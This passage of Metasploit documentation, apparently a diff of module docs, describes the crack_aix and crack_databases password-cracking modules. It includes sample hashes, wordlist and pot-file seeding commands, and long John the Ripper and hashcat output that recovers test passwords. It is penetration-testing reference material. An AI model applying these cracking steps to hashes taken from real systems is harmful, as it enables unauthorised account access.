We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-27621-1ucwc3l
[*] Wordlist file written out to /tmp/jtrtmp20190531-27621-qk76qr
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:06) 100.0g/s 1103Kp/s 4415Kc/s 4415KC/s test3:::..t1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:06) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1250 descrypt des2_password password Single
1251 descrypt des_password password Single
1252 descrypt des_55 55 Normal
1253 descrypt des_pot_55 55 Already Cracked/POT
1254 descrypt des_passphrase passphrase Normal
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des2_password password Password
des_password password Password
des_55 55 Password
des_passphrase passphrase Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-27714-1ct3bn3
[*] Wordlist file written out to /tmp/jtrtmp20190531-27714-1j3q151
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3 /tmp/jtrtmp20190531-27714-1j3q151
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1260 descrypt des2_password password Wordlist
1261 descrypt des_password password Wordlist
1262 descrypt des_55 55 Incremental
1263 descrypt des_pot_55 55 Already Cracked/POT
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des_55 55 Password
des2_password password Password
des_password password Password
```
@@ -0,0 +1,920 @@
## Vulnerable Application
This module attempts to use a password cracker to decode varying databases
based password hashes, such as:
* `mysql` based passwords
* `mysql` based passwords
* `mysql-sha1` based passwords
* `mssql` based passwords
* `mssql` based passwords
* `mssql05` based passwords
* `mssql12` based passwords
* `oracle` based passwords
* `oracle 10` based passwords
* `oracle 11/12 H values` based passwords
* `oracle 12c` based passwords
* `postgres` based passwords
| Common | John | Hashcat |
|----------------|-------------|---------|
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| mssql | mssql | 131 |
| mssql05 | mssql05 | 132 |
| mssql12 | mssql12 | 1731 |
| oracle 10 | oracle | n/a |
| oracle 11/12 H | | 112 |
| oracle 12c | sha512crypt | 12300 |
| postgres | postgres | 1800 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a database password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_databases```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MSSQL**
Crack MSSQL hashes. Default is `true`.
**MYSQL**
Crack MySQL hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**ORACLE**
Crack oracle hashes. Default is `true`.
**POSTGRES**
Crack postgres hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279$
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E278$
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797$
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:$
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B3$
##postgres uses username, so we can't overide that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
creds add user:example postgres:md5be86a79bf20fake2d58d5453c47d4860
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
echo "foo" >> /tmp/wordlist
echo "tere" >> /tmp/wordlist
echo "Password1\!" >> /tmp/wordlist
echo "system" >> /tmp/wordlist
echo "simon" >> /tmp/wordlist
echo "A" >> /tmp/wordlist
echo "THALES" >> /tmp/wordlist
echo "probe" >> /tmp/wordlist
echo "epsilon" >> /tmp/wordlist
echo "t\!" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-29358-125bmsb
[*] Wordlist file written out to /tmp/jtrtmp20190531-29358-11uv1t0
[*] Checking mssql hashes already cracked...
[*] Cracking mssql hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 400.0p/s 400.0c/s 400.0C/s TEST3:::..FOO
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1357 mssql mssql_foo FOO Single
[*] Checking mssql05 hashes already cracked...
[*] Cracking mssql05 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 15:44) 100.0g/s 400.0p/s 800.0c/s 800.0C/s test3:::..foo
Use the "--show --format=mssql05" options to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql05 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
[*] Checking mssql12 hashes already cracked...
[*] Cracking mssql12 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 409600p/s 409600c/s 409600C/s test3:::..Password1\!99
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql12 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
[*] Checking mysql hashes already cracked...
[*] Cracking mysql hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 51200p/s 51200c/s 51200C/s test3:::..est3:::
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mysql hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=8zGhJlFs --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
[*] Checking mysql-sha1 hashes already cracked...
[*] Cracking mysql-sha1 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:45) 100.0g/s 1600p/s 1600c/s 1600C/s tere..probe
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mysql-sha1 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJ1VeTcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mysql-sha1 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
[*] Checking oracle hashes already cracked...
[*] Cracking oracle hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 15:45) 66.66g/s 364200p/s 1092Kc/s 1092KC/s TEST3:::..T1900
Use the "--show --format=oracle" options to display all of the cracked passwords reliably
Session completed
[*] Cracking oracle hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
0g 0:00:01:00 3/3 0g/s 2705Kp/s 2705Kc/s 2705KC/s LML489..LST0WO
Session stopped (max run-time reached)
[*] Cracking oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
0g 0:00:01:00 3/3 0g/s 2700Kp/s 2700Kc/s 2700KC/s CKS5ER..CGE0DW
Session stopped (max run-time reached)
[*] Cracking oracle hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:00 0g/s 2880Kp/s 2880Kc/s 2880KC/s 225486472..229896168
Session stopped (max run-time reached)
[*] Cracking oracle hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MEvIkaAE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=oracle --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-05-31 15:48) 0g/s 16700p/s 16700c/s 16700C/s TEST3:::..HASHCATING
Session completed
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
1359 mysql mysql_probe probe Single
1360 mysql-sha1 mysql-sha1_tere tere Single
1361 oracle simon A Single
1362 oracle SYSTEM THALES Single
[*] Checking dynamic_1506 hashes already cracked...
[*] Cracking dynamic_1506 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=A4uwmyRE --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=dynamic_1506 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in wordlist mode...
